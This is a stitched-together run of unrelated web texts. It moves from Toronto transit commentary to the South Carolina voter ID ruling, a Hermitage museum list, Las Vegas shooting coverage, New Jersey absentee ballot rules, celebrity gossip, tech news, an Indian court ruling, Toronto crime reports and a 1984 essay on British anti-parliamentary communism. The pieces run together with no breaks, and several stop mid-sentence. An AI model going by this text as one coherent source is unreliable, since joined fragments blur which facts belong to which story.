The city and region now face a period of uncertainty extending beyond coming provincial and municipal elections. Will the new administrations at either level continue to support transit, and will those put in charge consider the good of the region over their own political ambitions?
Metrolinx is an agency at which the puppet-master’s hands and wires are all too obvious. Glen Murray has wounded its credibility as an honest, unbiased provider of advice to the province and to the public at large, and the relevance of its board is evaporating.
Can anyone, will anyone, say “enough”?Officials from South Carolina could not cite a single case of voter fraud during the trial. S.C. voter ID law delayed
WASHINGTON (AP) — A panel of three federal judges upheld a South Carolina law requiring voters to show photo identification, but delayed enforcement until next year, in a decision announced Wednesday, less than a month before this year's presidential election.
In a unanimous ruling, the judges said there was no discriminatory intent behind the law, ruling that it would not diminish African-Americans' voting rights because people who face a "reasonable impediment" to getting an acceptable photo ID can still vote if they sign an affidavit.
Story Continued Below
( Also on POLITICO: Voter ID foes face uphill batlle)
The judge declined to let the law take effect immediately, "given the short time left before the 2012 elections and given the numerous steps necessary to properly implement the law... and ensure that the law would not have discriminatory" effects.
South Carolina voters who now lack the proper photo ID are disproportionately African-American, so proper and smooth functioning of the law "would be vital to avoid unlawfully racially discriminatory effects," according to the decision, written by Judge Brett M. Kavanaugh of the U.S. Court of Appeals for the District of Columbia Circuit. "There is too much of a risk to African-American voters for us to roll the dice," he said.
South Carolina is one of 16 states, mostly in the South, where election laws are subject to Justice Department approval under the federal Voting Rights Act because of a history of discrimination. South Carolina's was the first law to be refused federal OK in nearly 20 years, which led state officials to challenge that decision in federal court.
( Also on POLITICO: Pa. voter law still unresolved)
The state's Republican-controlled Legislature pushed the law through last year despite heavy opposition from African-American lawmakers. GOP Gov. Nikki Haley signed it last December.
Voter ID laws and other restrictions on voting became priority issues in mostly Republican legislatures and for governors after the 2008 elections. Opponents have described them as responses to the record turnouts of minorities and other Democratic-leaning constituencies that helped put Barack Obama, the first African-American president, in the White House.
Such laws have become a critical issue in this year's election because of the tight presidential race between Obama and Republican nominee Mitt Romney. Supporters have pitched these laws as necessary to deter voter fraud, although very few cases of impersonation have been found.
( Also on POLITICO: New ID laws could delay outcome of close election)
Officials from South Carolina could not cite a single case of such fraud during the trial, but they said the law would help enhance public confidence in the election system and prevent other types of fraud.
South Carolina's law requires voters to show a driver's license or other photo identification issued by the state Department of Motor Vehicles, or a passport, military photo identification or a voter registration card with a photo.
The other judges in the case were Colleen Kollar-Kotelly and John D. Bates of the U.S. District Court in Washington.
Kollar-Kotelly was appointed by President Bill Clinton. Bates and Kavanaugh were appointed by President George W. Bush.
The case number is 2012-203.1. Main Staircase – The main staircase is one of the most popular attractions in the museum. The Hermitage is one of the top St Petersburg, Russia attractions and visitors to the city frequently ask about the museum and this staircase.
2. Malachite Room – This room in the Hermitage, St Petersburg is exquisite, and will make you catch your breath. Malachite columns and decorations, as well as wall paintings and gold decorations make this room a must see.
3. Peter’s Room – This room, also called the Small Throne Room, is dedicated to Peter the Great. You can view the throne and footstool used by this ruler, as well as artwork depicting him and other terrific memorabilia.
4. Armory Hall – This hall in the Hermitage St Petersburg was created for grandeur, and intended to be used for receptions. Columns, beautiful chandeliers and doors, and unusual warrior statues are all features of this hall.
5. Golden Budoir Room – Gold, red, and white are the colors used in this budoir, and it is elaborately decorated and lavishly furnished. This room at the Hermitage St Petersburg was created for an Empress, and one look shows that this room is fit for that purpose.
6. Giant Statues of Atlantes – Made from granite, the giant statue of Atlantes at the Old Hermitage building entrance is a must see. This statue is massive, and shows incredible skill and talent.
7. Knights Room – People come from all over the world to stay in St Petersburg, Russia hotels and visit the State Hermitage. The Knights Room is one of the most popular attractions, and this room showcases armor and coat of arms through Russian history.
8. Giant Jasper Vase – The Giant Jasper vase is the biggest single piece of jasper in the world, and is an awe inspiring piece. This huge vase trumps any similar type of artifact found not only at the Hermitage, St Petersburg, but any other museum in the world.
9. Leonardo da Vinci Room – This room features two original masterpieces by Leonardo, the Madonna Litta and Madonna Benois. These two paintings are one of the top reasons that many visitors come to the Hermitage St Petersburg.
10. Peacock Clock – In Pavilion Hall you will find the Peacock clock, a one of a kind piece of art that is spectacular. Created in the 17th century, this clock is large and elaborate, with gold and gemstones.
Main Building of The State Hermitage Museum is the magnificent Winter Palace designed by Bartolommeo Rastrelli who also designed Catherine Palace located in the suburb of St Petersburg – Pushkin. The Grand Hotel Europe, St Petersburg is just a short walking distance from the museum, and is one of the top places to stay in the city.Image copyright Reuters/Paddock family/CBS News Image caption US police have said the woman, a former casino employee, was living with Paddock in Nevada
The girlfriend of the Las Vegas gunman who shot dead 58 people on Sunday has said she had no idea what her "kind, caring, quiet" partner was planning.
Marilou Danley's comments came hours before police suggested Stephen Paddock had been living "a secret life".
They said he may have been planning to escape instead of shooting himself dead, but did not give further details.
It is not yet known why he opened fire on an open-air concert, committing the worst shooting in modern US history.
Clark County Sheriff Joseph Lombardo told a press conference that:
Police had found more explosives in Paddock's car at the hotel, along with about 1,600 rounds of ammunition
Paddock had been gambling just hours before he began shooting
He had booked into an apartment at the high-rise Ogden in downtown Las Vegas a week earlier during a different open-air festival where acts including Muse, Lorde and Blink-182 were due to play
But he said Paddock's motivations and whether there were any possible accomplices remained a mystery. The FBI's Aaron Rouse said so far no link to terrorism had been found but they would continue to "look at all avenues" without "closing any doors" because it was "an ongoing investigation".
"We don't understand it yet," Sheriff Lombardo told reporters, but questioned whether he could have accomplished his plan by himself.
"You've got to make the assumption he had to have some help at some point," he said.
Ms Danley, who spoke to the FBI on Wednesday, expressed shock at the "horrible unspeakable acts of violence" Paddock had committed.
Media playback is unsupported on your device Media caption How the horror unfolded - in two minutes
Paddock "never said anything to me or took any action" which she understood as a warning of what was to come, she said in a statement read by her lawyer.
Ms Danley added: "I loved him and hoped for a quiet future together."
US authorities named Ms Danley a "person of interest" in their investigation and said they had made contact with her shortly after the shooting.
Ms Danley voluntarily flew back to Los Angeles from the Philippines on Tuesday night to speak to the FBI, just over two weeks after Paddock had surprised her with a |
(Santa Ana, Calif.) Distributed by Tribune Content Agency, LLC.New Jersey absentee ballot deadlines
In Person: 1 day before Election Day.
1 day before Election Day. By Mail: 7 days before Election Day.
7 days before Election Day. Online:
Voted ballots are due: Election Day.
New Jersey absentee ballot rules
Any registered New Jersey voter may apply for an absentee ballot and vote by mail.
New Jersey absentee ballot directions
Use our Absentee Ballot Tool to prepare your application. Sign and date the form. This is very important! Return your completed application to your Local Election Office as soon as possible. We’ll provide the mailing address for you. All Local Election Offices will accept mailed or hand-delivered forms. If it’s close to the deadline, call and see if your Local Election Office will let you fax or email the application. Make sure your application is received by the deadline. Your application must actually arrive by this time — simply being postmarked by the deadline is insufficient. Please contact your Local Election Office if you have any further questions about the exact process.
Once you receive your ballot...
Once you receive the ballot, carefully read and follow the instructions. Sign and date where indicated. Mail your voted ballot back to the address indicated on the return envelope. Your voted ballot must arrive by the deadline or it will not be counted.
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Online retailer Amazon, has released a new television advert for its Kindle Paperwhite, which features a gay couple and a straight couple getting along on holiday together.
The advert features a man and a woman on deck chairs, and while she uses a Kindle, the man struggles with a tablet computer.
When he exclaims that he has finished buying a Kindle online, and says “we should celebrate”, the woman replies: “my husband is bringing me a drink, right now,” to which he responds “so is mine”.
Amazon was among a large number of Washington-based companies which confirmed their support for Referendum 74, the equal marriage bill from last November, by signing up to a newspaper advert.
Prior to that, the billionaire founders of Amazon, Jeff and MacKenzie Bezos, pledged $2.5 million to the fight for equal marriage rights for gay couples in the US state of Washington last year.
The NY Times said the Bezoses responded to an email from a gay former employee in Amazon.com’s first days asking whether they would donate $100,000 or $200,000 to the cause, similar to amounts donated by Microsoft figures. The response said: “This is right for so many reasons. We’re in for $2.5 million. Jeff & MacKenzie.”Google has contributed $20,000 to the Eclipse Foundation for hardware to assist in the task of performance testing the foundation's integrated development environment (IDE). The extra contribution from Google's Open Source Programs Office is over and above Google's membership, and comes after the Eclipse community raised concerns about the faltering performance of Eclipse 4.2 especially when compared to Eclipse 3.8.
The donation, announced by Google's Shawn Pearce, is specifically for building a common testing lab but, if required, some of it can go to Eclipse's common build infrastructure. The seeding of a testing lab should help bring back the use of performance regression testing, which was part of the Eclipse process for earlier versions, but was dropped for 3.8 and 4.2 because of a lack of hardware and the human resources to organise it.
On the Wednesday before the donation, Eclipse Project PMC Mike Wilson had explained that performance testing needed dedicated machines and it was the lack of these dedicated systems which had resulted in the stopping of performance testing. Eclipse Executive Director Mike Milinkovich thanked Pearce and Google for responding so quickly. Google relies on the Eclipse IDE to provide the foundation for Android's development environment.
Update - Mike Milinkovich has now written a blog post which gives further background to the issues of performance in Eclipse, notes that it is too late, as some have proposed, to move the release train back to 3.8, and looks forward to performance improvements in the forthcoming SR1, future SR2 and Kepler releases of Eclipse.
(djwm)The Fifty Shades Of Grey franchise has been dealt a major blow following claims that leading man Jamie Dornan will not be reprising his role as Christian Grey.
The Northern Irish actor was expected to return as the enigmatic corporate executive in Fifty Shades Darker and Fifty Shades Freed, parts two and three in the hugely successful trilogy by British novelist E.L James.
But according to Australian magazine NW Jamie, 32, has reportedly walked away from the plum role because wife of two-years Amelia Warner is uncomfortable with the raunchy sex scenes he shares with co-star Dakota Johnson.
However, a representative for the screen star has said in a statement to MailOnline: 'All press reports are pure conjecture as the studio has not committed to a sequel as yet.'
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Fade to Grey: Australian magazine NW claim that Jamie Dornan will not be reprising his plum role in the 50 Shades Of Grey franchise because wife of two-years Amelia Warner is uncomfortable with the sex scenes
Uncomfortable: Dornan, pictured with Amelia at the GQ Men Of The Year awards in September, recently said she 'hasn't seen the film and I don't think she will, to be honest, I'd understand if she didn't want to.'
Jamie recently spoke of his wife’s discomfort in an interview with the Evening Standard.
He told the publication: ‘(Amelia) hasn’t seen the film and I don’t think she will, to be honest, I’d understand if she didn’t want to.’
And in a recent interview with Glamour magazine, his co-star Dakota also admitted that she didn't feel comfortable about her family watching the film.
She said: 'I don't want my family to see [the movie], because it's inappropriate. Or my brothers' friends, who I grew up with. I think they'd be like, "Blegh." Also there's part of me that's like, I don't want anyone to see this movie. Just kidding.'
Fans have since taken to Twitter in their droves to express their dismay at Jamie's reported decision - which comes just two weeks after the film opened to mixed reviews.
Steamy: Jamie stars with actress Dakota Johnson in 50 Shades Of Grey, which opened to mixed reviews on February 13
One wrote: ‘Was going to go see Fifty again today, but I think I'll hold off now until I know if @JamieDornan will continue.’
Another added: ‘Jamie Dornan won't appear in the next films of 50 Shades because his wife don't like it... #whipped divorce her man.’
'Surely Jamie Dornan's wife knew what to expect when he signed up for 50 Shades? I mean the books are hardly fluffy clouds and rainbows,' wrote a perplexed fan.
Jamie's reported departure follows claims that director Sam Taylor-Johnson has quit the franchise following a series of furious bust-ups with author James.
The Sun claim that the British director is keen to leave the franchise due to her constant on-set feuds with the author, despite previously claiming that she had'signed on' to work on the sequels.
Out of the franchise? Sam Taylor-Johnson is reportedly keen to pull out of directing the Fifty Shades Of Grey sequels after on-going bust ups with the books' author, E.L. James
A senior film insider told newspaper's Dan Wootton: 'Sam won't be back for the Fifty Shades sequels. She wants out and Universal knows that's the right decision.
'Her relationship with Erika has become absolutely toxic – they despise each other and blame each other for the problems with the film.'
Sam and E.L. - who signed a £3million deal with Universal and Focus Films giving them the rights to her trio of books, which also gave her creative control of the movies - are said to have clashed numerous times about sex scenes as the author wanted to make the movie racier.
The source also claimed that most of the rows between the two were due to the author's wishes for the film to be as explicit as the book.
Difficult working relationship: E.L. James and the director have admitted that they found working together a challenge due to different artistic ideals
'But Sam pushed back because she wanted the movie to be more than just a collection of S&M scenes,' they added.
It was not officially confirmed that Sam would return to direct the sequels, although she had hinted that she was in the pipeline.
'I have a feeling discussions are going on behind closed doors but I've heard nothing so I'm as in the dark as everybody else on this,' the director revealed in a recent interview with The Independent.
A representative for Sam has told MailOnline that 'the studio have not committed to a sequel as yet' and that they decline to comment further on the matter.
Sam has openly admitted she and E.L would 'often clash' while making the film and she recently revealed she was banned from using a jellyfish in a sex scene, while the author also admitted the pair 'butted heads'.
Tension: E.L James (left) and Sam Taylor-Johnson (right) have toured the world together to promote the film along with the film's leading stars, including Dakota Johnson (centre)
Despite E.L.'s bust-ups with Sam, the two main stars of the movie, Jamie Dornan and Dakota Johnson - who play Christian Grey and Anastasia Steele - were said to have been happy with the filmmaker.
And although they are fans of working with her, they won't have the option to leave the franchise as they have signed tight contracts to keep them in the next two films, each which will be based on the follow-up novels Fifty Shades Darker and Fifty Shades Freed.
In a previous interview, director Sam admitted that filming the controversial film with the writer close at hand was often trying.
'It was difficult, I'm not going to lie,' she confessed.
'It was difficult': The British filmmaker has previously admitted to the challenge of working with the author
'We would have proper on-set barneys and I'm not confrontational. But it was about finding a way between the two of us.'
Hollywood sources previously claimed that the director and author even rowed about the final word in the film, with Sam favouring'red', a'safe word' used in the bedroom by the protagonists, and James insisting on'stop'.
It was, says one insider, 'the most petty and ridiculous argument in the world' and the climax of months of tension between the pair.
But E.L - who has sold 100million copies of her novel - apparently, 'was given a lot of power and has used every opportunity to flex that power'.
Success: E.L. is said to have wanted to keep the film as close to the erotic book as possible
Another source who spoke to the Mail last week week claims the popular writer even threatened to tell her millions of fans across the world to boycott cinemas when the film was released on Valentine's Day if she didn't get her own way.
Sam recently responded rather bluntly to these rumours: 'I should hope not,' she retorted, when asked about them.
Despite the on-going professional scuffle between the two women, Fifty Shades Of Grey has gone on to become a huge success.
The raunchy film dominated cinemas at the weekend with ticket sales of £13.5 million since its release on Friday.
Erotic: The film is filled with raunchy and intimate scenes between the lead characters Christian Grey (Jamie Dornan) and Anastacia Steele (Dakota Johnson)
It outstripped the competition - taking in more in ticket sales than the rest of the top 10 films combined and becoming the most successful 18-certificate film ever in the UK and Ireland.
According to Deadline.com, Fifty Shades Of Grey became the US' biggest February opening of all time with an impressive haul of $93 million.
The S&M-themed film took £4.6 million in the UK on its opening night, which is the most ever for a certificate 18 film.
It broke the previous record of £3.19 million set by 2009 comedy The Hangover. And many cinemas sold out of tickets.
The hype around the film, which is based on the books by E.L James, saw some venues sell out as early as two weeks ago after film fans rushed to make advance bookings.
MailOnline has contacted a representative Universal and is awaiting comment.Lucknow/New Delhi: All India Muslim Law Board member Zafaryab Jilani on Wednesday welcomed the Supreme Court verdict on gay sex.
"The Supreme Court has given this verdict to maintain the culture of this country. I don`t know the exact text of the judgement though," said Jilani.
"We cannot make law on the basis of some people. It is not only against Muslims community, but also Hindus and Christians. It was an offence and therefore it should continue to be an offence. It is a welcome judgment," he added.
In a major setback for the largely closeted homosexual community in India, the apex court today said gay sex between consenting adults is a criminal offence.
The apex court set aside the Delhi High Court`s 2009 judgement that homosexuality should not be treated as a criminal offence, which had been challenged by anti-gay rights activists, social and religious organisations.
The apex court had reserved its order in March last year, after day-to-day hearing in the case lasted an entire month.
The Delhi High Court had in 2009 decriminalised gay sex as provided in Section 377 of the Indian Penal Code (IPC) and had ruled that sex between two consenting adults in private would not be an offence.
Section 377 (unnatural offences) of the IPC makes gay sex a criminal offence entailing punishment up to life term. Senior BJP leader BP Singhal has challenged the high court verdict in the Supreme Court, saying such acts are illegal, immoral and against the ethos of Indian culture.
Religious organisations like All India Muslim Personal Law Board, Utkal Christian Council and Apostolic Churches Alliance too have challenged the judgement.The Gone Girl actor is in talks to star in the film about an accountant who moonlights as an assassin, whose script was once included in the Black List of most anticipated screenplays
Ben Affleck is being lined up for the lead in The Accountant, a thriller that may finally be coming out of development hell.
Concerning an accountant who moonlights as an assassin, it has been knocking around since 2011, when Bill Dubuque’s script was included on the Black List of most anticipated screenplays. At one point Will Smith was lined up to star, and both Mel Gibson and the Coen brothers to direct. Now Gavin O’Connor is being mooted for the project, who directed Warrior as well as taking over from Lynne Ramsey on the troubled Jane Got a Gun.
If Affleck signs on the dotted line, it’s a coup for the film, with the star’s luminescence currently at its brightest ever. Having clawed his way back from the post-Gigli hinterland, he’s become one of the few Hollywood figures to successfully balance big acting gigs with critically acclaimed directing. He’ll next play Batman in the wildly anticipated Batman v Superman: Dawn of Justice.
Affleck also set the internet aflutter with news that he has a nude scene in the new David Fincher thriller Gone Girl. He jokingly told MTV: “It’s Imax penis! You’ve gotta pay 15 bucks to see it in 3D … it’s better in 3D.”
Kyle Buchanan of pop-culture blog Vulture has since, very amusingly, gone to great lengths to explain exactly how you can witness Affleck’s genitalia in the movie. “Do not look at the other character, who is naked and showering at scene-left,” he suggests. “You did not come here for this other character. Know your mission. Memorize it. Say it out loud to yourself in the bathroom mirror before you leave your home.”Toronto police are investigating at least three break-ins and robberies in the west end overnight.
Officers say around 11 p.m. Saturday, a man walked into a Mac’s Convenience Store on Martin Grove Road and demanded cash from an employee at gunpoint.
Then just after 2 a.m. on Sunday, a family awoke to find a man in their home near Islington Avenue and Bloor Street West.
It’s not yet clear if he took anything before he fled.
Soon after, there was a break-in at Humber Valley Village Junior Middle School on Hartfield Road near Islington Avenue and Dundas Street West.
The thief allegedly made off with an iPhone and a laptop.
There are no reports of any injuries, and so far police have not linked any of the robberies.
In late July, Toronto police issued a warning about residential break-ins in Etobicoke.
It’s believed the same suspect broke into several homes near Bloor Street West and Mill Road through unlocked windows and doors.
With files from CityNews.caA survey of the anti-parliamentarist communist movement in Britain during and after WWI, and the effects of Comintern/Bolshevik directives on the efforts at organisational unity.
Lenin's famous manual of reformism, "Left Wing" Communism, an Infantile Disorder(1920), which directed Communists to work within parliament and existing labour unions, was partly a response to British anti-parliamentarism.
This short work was written in 1984 as an article for the journal 'Black Star'. `Black Star' expired before the article appeared and it eventually appeared in print in 1989 in the Grand Rapids based 'Discussion Bulletin' and later in a slightly revised form in `The Raven' (No. 11, 1990). [This version was published by Pirate Press, Sheffield, UK, 1991.]
========
Left- Wing Communism in Britain 1917-21...An Infantile Disorder?
( Bob Jones, 1984)
Introduction
The pamphlet attempts to show how an evolving British communist movement was taken over by the Communist Party of Great Britain (CPGB ) and turned into something quite alien.
At the moment [i.e. 1984] when the Communist Parties, and the authoritarian communism they represent are collapsing everywhere it is perhaps appropriate that this work should reappear. While commentators are glibly enthusing over the end of "communism" and "socialism" it is important to remember that there was an earlier and very different communist tradition in Britain. Understanding the process by which it was marginalised and in a large part obliterated may help us to understand what went wrong. It might also help to undermine the assumption that `libertarian' and `communist' or'socialist' are mutually contradictory terms.
R.W. Jones
I will try and examine this process in the context of the growing British anti-parliamentarist movement in the years immediately preceding the formation of the Anti-Parliamentary Communist Federation (APCF) in 1921. In particular I will look at the attempts to unite the various anti-parliamentary groups into one Communist Party. These attempts were, I will argue, a natural development of the revolutionary movement in Britain. They were cut short by the formation of the Communist Party of Great Britain (CPGB), an unnatural development for Britain which was based on the conditions set by the Communist International in Russia. The subsequent formation of the APCF was, as a result, a pale reflection of what it could have been.
At the outset we should try to clarify what is meant by 'anti -parliamentarism'. It is important to realise that for British comrades in 1921 anti-parliamentarism was not merely a negative delineation of tactics - a rejection of the policy of socialists standing for and sitting in parliament - though this was obviously a key element of the movement. Anti-parliamentarism has, at this time, to be viewed in the context of a burgeoning communist movement. Indeed, until the formation of the CPGB which took upon itself the definition of all things `communist', it would not be too much of an exaggeration to say that the anti-parliamentary and communist movements were synonymous. To be a communist prior to 1920, even 1921, was to be anti-parliamentarian. Only after 1921 was the prefix 'anti-parliamentary' needed.
This was true of both Marxists and anarchists. Each shared a common set of ideas, including the centrality of class struggle for social analysis and action; the conception of workers' committees and councils seizing the means of production and distribution; the ensuing creation of a soviet republic which initially would act as a`dictatorship of the proletariat'; and as a necessary corollary of these, the importance of direct action and anti-parliamentary agitation. While there was not unanimity on all of these points, there was a broad measure of agreement emerging.
One revealing example of this convergence of views was the interpretation, made by most sections of the revolutionary movement, in Britain, of the Russian revolution in sovietist and councillist terms rather than in terms of the determining role of a centralised and disciplined political party. This interpretation remained almost universal until 1920, when doubts about the exact nature and direction of the Russian revolution first began to surface in Britain. It is also significant that these doubts emerged not over the political practice of the Bolsheviks in Russia - which were rationalised away into existing theoretical formulas (though this was not true of the anarchists centred on the London Freedom Group) - but over the advice Lenin was giving to German and Italian communists to participate in parliamentary elections.
Completely absent was any notion of the centralised, disciplined party as the controlling agent of the revolution. This, however, was a key element in the Comintern's `21 Conditions for Admission to the Communist International', which all communist parties had to accept before affiliation. Thus Point 12 declares that the party must be built "upon the principle of democratic centralisation", and speaks of control by "iron discipline" and of a party central body with "the most far-reaching faculties".
The acceptance of the '21 conditions' by the CPGB represented, therefore, a marked break with past British experience. What was the significance of this? For some historians, such as James Hinton in The First Shop Stewards Movement (1973), the unity negotiations resulting in the formation of the CPGB represented a "theoretical clarification". Hinton charts a development of revolutionary theory from Syndicalism and industrial unionism via the experience of the shop stewards and workers' committee movement to the ultimate flowering of "the soviet idea of revolution" in the CPGB. There is much that is wrong with this not uncommon interpretation. For our present purposes we must be content to note the simple points that the CPGB did not embody any "theoretical clarification" and had very little to do with the "soviet idea of revolution". The whole point of the unity negotiations was to set up Lenin's "party of a new type" - that is, a centralised party loyally following the orders of the Comintern. Any theoretical or other discoveries made by the British participants were subsumed within this task. The end result was that the existing revolutionary movement and any theoretical advances it had made were largely destroyed.
Let me examine this a little more closely. The first point to make about the 1920 unity negotiations is that they did not involve discussions about the theoretical significance of soviet power or the meaning of dictatorship of the proletariat. There was already a fair measure of agreement on these issues. The main, almost exclusive, topic of discussion was parliamentarianism, in the form of parliamentary action and of affiliation to the Labour Party. As I shall show later, almost the whole of the revolutionary movement in was anti-parliamentarian and uniting around an anti-parliamentary platform. For the moment, however, let me assume this point and examine how the incipient `party of a new type' handled the question. In so doing we shall see how the path was laid for the destruction of the revolutionary movement in Britain.
What was the attitude of communists to the Labour Party? For anyone thinking in terms of communism (outside of certain sections of the British Socialist Party and the Independent Labour Party) it was simply inconceivable to regard the Labour Party as having anything at all to contribute to the developing movement. Then, as now, the Labour Party, as far as any move towards socialism was concerned (never mind about any move towards communism!), was seen as a bad joke. As D. Manion noted at the Communist Unity Convention of 31st of July - 1 st August 1920 "At the present time in Sheffield no matter how good a Socialist a man might be he was mobbed if at any Socialist or trade union meeting he said he was in favour of such (Labour Party) affiliation."
And Mrs. Bamber, from Liverpool, added:
"Me industrial workers were sick to death of the position of the Labour Party at the present time, and she hoped that we, the Communist Party, showing the way not to reform but to the emancipation of the workers, would keep outside the Party that had done so much to delay the progress of the working class during the last few years."
If this was so obvious to many, why was Labour Party affiliation ever considered as a serious policy? Gee factor was that the BSP, the largest socialist body involved in the unity negotiations, was already affiliated to the Labour Party and continued to argue for affiliation. But a growing number of BSPers, including comrades Manion and Bamber, were starting to reject the policy. There were clearly other factors at work. The most important of these was the Comintern directive instructing the CP to affiliate, backed up by Lenin's rationalisation of the position in Left-Wing Communism: An Infantile Disorder. While the directive was crucial, perhaps more important was the kind of argument used to support it - a strange kind of argument, new to the British movement, and indicative of the kind of reasoning that was to undermine the communist movement in Britain.
It could be argued that up to this time the main aim of British socialists and communists had been a simple one of trying to make socialists and increase the class consciousness of the working class. Questions about the mechanics of seizing power were not widely discussed, most being content to rely on the ability of the working class to create its own organs of self-government in any revolutionary situation. Further, the Labour Party was to play no part in this process simply because it was not socialist and its actions had positively hampered the development towards socialism.
But such common-sense and seemingly obvious points were to come under attack from a new breed of'realists' and `hard-headed strategists' who were to play an important part in the unity negotiations. The common-sense view of the Labour Party now came to be seen as 'naive' and `emotional'; one needed a longer-term tactical view.
The ultimate source of such a view was the Comintem and V.I. Lenin. Left-Wing Communism appeared just before the unity negotiations of July/August 1920 and ably summarised the lectures and advice Lenin had been giving British communists in the preceding months. In this work Lenin argued that "...revolution is impossible without a change in the views of the majority of the working class, and this change is brought about by the political experience of the masses, and never by propaganda alone." Fair enough; but Lenin went on to insist that in consequence "...British communists should participate in parliamentary action, that they should... from within Parliament help the masses of the workers to see the results of a Henderson and Snowden government in practice..." In this way it was hoped that the masses would very soon become disappointed with the Labour Party and begin to support the Communists.
Unfortunately this sort of argument leads directly into the nightmarish world of the mechanistic and manipulative party politician. In Lenin's words:
"The strictest loyalty to the idea of Communism must be combined with the ability to make all the necessary practical compromises, to manoeuvre, to make agreements, zigzags, retreats and so on, so as to accelerate the coming to power and subsequent loss of political power of the Hendersons... to accelerate their inevitable bankruptcy in practice, which will enlighten the masses in the spirit of our ideas, in the direction of Communism..."
Or in Lenin's oft-quoted phrase: Communists support the Labour Party "in the same way as the rope supports a hanged man".
A good example of these intellectual contortions at work in Britain comes from R. Page Arnot's intervention at the Communist Unity Convention on the Labour Party affiliation issue. He readily agreed that "we were all sick of the Labour Party", but that didn't necessarily mean that leaving the Labour Party was "the best tactic for the revolution". Amot, as befitted the new revolutionary tacticians, was thinking ten steps ahead, in terms of Communists within the Labour Party "splitting off' and taking "a very large number of the organised working class with us". The essence o the new outlook was to took at matters "as a tactician in a military sense": that is to "think things out coldly and clearly and get rid of emotion". Those who did not have these requisite military skills and siniply pointed out that the Labour Party was hopelessly reactionary and would tar the Communist Party with the same brush were said to be using "emotional arguments".
In this manner communist policy ceased to be a matter of debate and discussion by the rank and file based on the observable experience of the working class and its institutions. Instead policy was now determined by long-term tactical perspectives from above - an ever-changing series of intellectual permutations and combinations known as the party line. This, when coupled with a centralised party demanding absolute loyalty, ensured the speedy elimination of any ideas and practice developed from the class struggle by the pre-existing communist movement in Britain. If its members didn't conform to the tactical line they were simply disregarded as `naive' or `emotional'. Edgar T Whitehead noted the process at work at an early period of its operation in 1920: "I do like,this word 'naive'. It clinches the argument. All logic falls flat before it. Anti-parliamentarians are so 'naive', in the face of the mephistophelian astucity (sic) of these revolutionary parliamentarians."
There could be no direct answer to such charges of 'naivete' because the party had developed its own particular logic, impervious to any questioning from outside.
Anti-parliamentary communists became increasingly puzzled by the aptitude of the `Maiden Lane Communists' (the CPGB, with its offices in Maiden Lane, London) to the parliamentary question. Edgar T Whitehead voiced a question which was baffling many: "Why do the Maiden Lane Communists want participation in Parliament so much that they would rather split the movement than forgo it?" Given that the propaganda value of electoral activity was not a serious difference with the anti-parliamentary groups, and given the repudiation of Parliament by the organised Workshop Movement, what possible reason could there be for wanting to pursue participation in Parliament at all costs? Whitehead concluded "...it is almost inconceivable that Maiden Lane should have been so blind and mad as to cease to take into account these realities, and instead, sheep-like, to blunderingly follow a tactic dictated from Moscow..."
But this is almost certainly what did happen. The increasing invective and abuse from Maiden Lane was part of what Lenin called the "liquidation of `left' doctrinairism" - a necessary stage the classconscious vanguard (the Communist Party) had to pass through to establish its supremacy. We have no space to document this process further, though we should note it can be seen ir, its most dramatic and pathetic form in the amazing intellectual somersaults of people like W illiam Gallacher and J. T. Murphy, who were very effectively `liquidated'. The unity negotiations were in fact a crucial phase in the liquidation of `left' doctrinairism in Britain. Rather than attempting to unite the existing revolutionary groups in Britain (the negotiations created more division than unity) the main aim was to create Lenin's "party of a new type", a party strictly conforming to the Comintem's conditions and with little regard for the British situation. This, and its consequences, were clearly foreseen by the anti-parliamentarians at the very foundation of the CPGB. Thus Whitehead notes:
"Maiden Lane must understand... it is Britain we are dealing with, and British Industrialists and Proletarians, British historical conditions, and British realities. Until Maiden Lane faces these facts, gains some backbone and grey matter of its own, and ceases to be merely a gramophone for the Moscow Records, we can do no other than build our own party, propagate our Soviet and Communist principles in accord with realities."
Unfortunately Maiden Lane was incapable of facing these facts and continued to play Moscow Records. The tragedy of this is that in the process a real possibility of unity was lost and, indeed, destroyed.
What was this possibility? Put simply, it was the chance to bring about a unity of a number of anarchist and Marxist groups who had in common their support for the Russian revolution and who were developing towards a common communist philosophy. If carried forward, there was a possibility of uniting once again the differing contributions of Marx and Bakunin in a communist movement of great potential significance.
At the outset it must be realised that long before the Russian revolution there was a communist movement in Britain and that after 1917 it was arapidly developing and largely non-sectarian movement. A good example of its nature on the eve of the Russian revolution is given by Jim Griffiths in describing the activities of the Communist Club at Ammanford (South Wales). Griffit}ts reports on a series of meetings held at the club in the early days of 1917:
"The aim of these meetings has not been to propagate any particular brand of Socialism or Communism. They have aimed rather at providing a common platform - a workers' Forum - where all who are interested in social problems can meet, freely and frankly exchange opinions on vital social questions, the members of the club being convinced that the providing of opportunities for such meetings is the greatest service they can render to the working class movement at the present tim,~. :f the movement is to survive the hard times ahead, it must cease wasting its energies in fruitless wrangles over this, that or the other policy. It must retum to first principles... We must aim at securing an intelligent class-conscious rank and file." (The Spur, April 1917)
In this non-sectarian atmosphere socialists were beginning to forget their "fruitless wrangles" and move towards a common conception. Thus within the anarchist movement there was a growing section of what Guy Aldred called "Marxian anarchists" who were distinguished from other anarchists (especially "Kropotkin anarchists") by their acceptance of the Marxian analysis of the state and their recognition of the importance of class struggle. These anarchists were becoming increasingly impatient
with those who, in the words of Freda Cohen, a member of the Glasgow Anarchist Group, were merely content with "fine phrases or poetical visioning". What was needed, she continued, was "knowledge... for the class struggle, by giving a scientific basis in place of a sentimental belief' (The Spur, January/ February 1918). Thus Cohen concluded, "knowledge of economics, history and sociology are of primary importance." and due recognition should be given to the fact that "industrial unionism, IWGBism (referring to the Industrial Workers of Great Britain), the Shop Steward movement, etc, are questions that concern the daily life of the worker (and)... are coming more and more to the fore. We must discuss them thoroughly and define our attitude towards them."
These were also the concerns of many members of the Socialist Labour Party and left-wing members of the British Socialist Party and the Independent Labour Party. Workers in these socialist groups were beginning to share a common literature and to exchange views and debate the key issues raised by the political and industrial struggles of the moment. James Morton, for example, of the London Industrial Workers' Committee, took part in a debate with the SLP in 1917 on direct action and ordered six dozen copies of the anarchist pamphlet Direct Action Versus Legislation for distribution at this and other meetings.
